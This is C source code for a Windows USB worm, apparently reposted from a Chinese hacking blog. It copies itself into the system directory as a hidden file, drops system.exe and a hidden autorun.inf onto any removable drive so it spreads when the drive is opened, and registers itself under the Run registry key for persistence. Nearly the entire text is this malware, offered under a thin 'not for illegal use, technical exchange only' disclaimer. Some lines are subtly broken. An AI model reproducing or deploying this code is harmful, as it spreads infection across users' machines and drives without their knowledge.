#include "stdafx.h"
#include <windows.h>
#include "stdio.h"
#include "shellapi.h"
void Uvirus();
char DriverName[4];
char USB;
bool CheckDisk();
void ScanDisk();
void run();
char SystemPath[MAX_PATH];
int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR
lpCmdLine,
int
nCmdShow)
{
// TODO: Place code here.
ScanDisk();
Uvirus();
run();
return 0;
}
void Uvirus()
{
char
selfpath[MAX_PATH];
GetModuleFileName(NULL,selfpath,MAX_PATH);
if
(GetSystemDirectory(SystemPath,MAX_PATH))
{
strcat(SystemPath,"\\Uxhj.exe");
CopyFile(selfpath,SystemPath,false);
Sleep(1000);
WIN32_FIND_DATA ffd ;
HANDLE hFind =
FindFirstFile(SystemPath, &ffd);//判断文件的存在是否
if ( hFind == NULL)
{
MessageBox(NULL,"错误",NULL,NULL);
return;
}
// MessageBox(NULL,selfpath,SystemPath,NULL);
if
(strcmp(SystemPath,selfpath)==0)//这句代码比较自身路径释放路径相等就退出
不加的话会循环的
{
return;
}
SetFileAttributes(SystemPath,
FILE_ATTRIBUTE_HIDDEN|FILE_ATTRIBUTE_READONLY|FILE_ATTRIBUTE_SYSTEM);//设置隐藏属性
WinExec(SystemPath,SW_HIDE);
//复制到u盘
char UFilePath[MAX_PATH];
GetModuleFileName(NULL,UFilePath,MAX_PATH);
strcpy(UFilePath, &USB);
strcat(UFilePath,":\\system.exe");
CopyFile(SystemPath,UFilePath,false);
char
Uinf[MAX_PATH];//创建一个autorun.inf的的文件 用c的库函数操作 前面记得加上stdio
strcpy(Uinf, &USB);
strcat(Uinf,":\\autorun.inf");
FILE* fp = NULL;
fp = fopen(Uinf,"w");
fprintf(fp,"%s\n%s","[AutoRun]","open=shell\\open\\command=system.exe\nopen=system.exe\nshell\\explore\\Command=system.exe");
fclose(fp);
SetFileAttributes(Uinf,
FILE_ATTRIBUTE_HIDDEN|FILE_ATTRIBUTE_READONLY|FILE_ATTRIBUTE_SYSTEM);//设置隐藏属性
}
}
bool CheckDisk()//获取U盘的盘符
{
strcpy(DriverName, "C:\0");
for( DriverName[0] = 'C'; DriverName[0]
< 'Z'; DriverName[0]++ )
{
if( GetDriveType( DriverName )
== DRIVE_REMOVABLE )
{
USB =
DriverName[0];
return
true;
}
}
return false;
}
void ScanDisk()//循环监听是否有U盘插入
{
while( !CheckDisk() )
{
Sleep(15000);
}
}
void run()//给木马加入启动项
{
HKEY key;
char
exe[]="C:\\WINDOWS\\system32\\Uxhj.exe";
if
(RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",NULL,KEY_ALL_ACCESS,&key)==ERROR_SUCCESS)
{
RegSetValueEx(key,("Uxhj"),NULL,REG_SZ,(BYTE*)exe,sizeof(exe));
}
RegCloseKey(key);
}
不要用做非法用途
只做技术交流之用
转载请说明来自 http://blog.sina.com.cn/XGNHACK
加载中,请稍候......